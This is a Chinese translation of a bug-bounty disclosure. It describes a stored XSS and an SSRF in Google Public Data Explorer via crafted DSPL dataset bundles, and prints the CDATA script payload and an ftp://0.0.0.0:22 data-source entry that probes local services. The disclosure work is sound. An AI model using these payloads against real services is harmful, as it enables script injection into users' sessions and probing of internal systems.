原文:https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html
“谁主宰了数据,谁就将主宰整个世界。”——孫正義
摘要:通过精心构造的DSPL(Dataset Publishing Language)Bundle,攻击者就可以在www.google.com 的上下文中植入存储型XSS漏洞,然后,就可以利用DSPL的远程数据源功能来访问本地服务了(即SSRF)。
Google公共数据资源管理器是一个简化大型数据集的浏览和可视化工作的工具。举例来说,通过它,我们可以方便地实现政府卫生支出、世界银行数据等大型数据集的可视化。
DSPL(Dataset Publishing Language)不仅会使用XML来描述数据集的元数据,同时还会用到CSV数据文件,如sample.zip。
Archive: sample.zip
Length Date Time Name
246 02-01-2018 13:19 countries.csv
221 02-14-2011 17:13 country_slice.csv
7812 03-04-2018 21:12 dataset.xml
246 02-14-2011 17:13 gender_country_slice.csv
28 01-29-2018 20:55 genders.csv
200 02-14-2011 17:13 state_slice.csv
300 01-29-2018 21:11 states.csv
9053 7 files
问题在于,Google公共数据资源管理器会在无视上下文的情况下使用数据集归档中的某些元数据,也就是说,它根本就没有考虑这些数据的编码或验证问题。
举例来说,它会像下面这样来使用sample 数据集:
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
unzip sample.zip; rm sample.zip
此外,它还允许修改dataset.xml的元数据名称的值。在下面的例子中,用到了XML的CDATA区段,以防止JavaScript payload被当做XML标记来处理。
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Some very interesting statistics about countries</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
这样的话,凡是查看这个共享数据集的人,都会在www.google.com 域的上下文中执行攻击者的JavaScript脚本。(例如,coinhive代码)
下面的短视频展示了它在修复之前的情形——可以通过DSPL在www.google.com 上下文中植入存储型XSS:
视频演示地址:https://vimeo.com/258923005
除此之外,DSPL还提供了从远程HTTP或FTP数据源检索数据的功能。借助该功能,攻击者就能够通过SSRF(服务器端请求伪造)来访问本地主机的服务资源了(可能还允许访问内部的、禁止通过互联网访问的系统/设备)。
例如,poc.dspl/dataset.xml 的内容。
<table id="my_table">
<column id="first" type="string"/>
<column id="last" type="string"/>
<data>
<file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
</data>
</table>
上传该数据集时,将返回出错的HTTP/FTP请求的响应,以给出相应的错误状态。例如,
在上图中,它显示了本地SSH的banner响应,实际上,这本来是一种非公开访问的服务。
上述漏洞,是我在一月份休假是发现的。在这里,我要特别感谢@sirdarckcat,以及谷歌安全团队提供的令人印象深刻的VRP! 如果读者在阅读本文过程中发现了谬误之处,希望能够不吝赐教,我的联系方式:@signalchaos。
感谢您花费宝贵的时间阅读本文,祝阅读愉快!
漏洞披露时间线:
2018年1月:向Google报告
2018年2月:确认报告的问题已修复
2018年2月:针对存储型XSS漏洞,奖励5,000美元
2018年3月:针对SSRF漏洞,奖励$ 13,337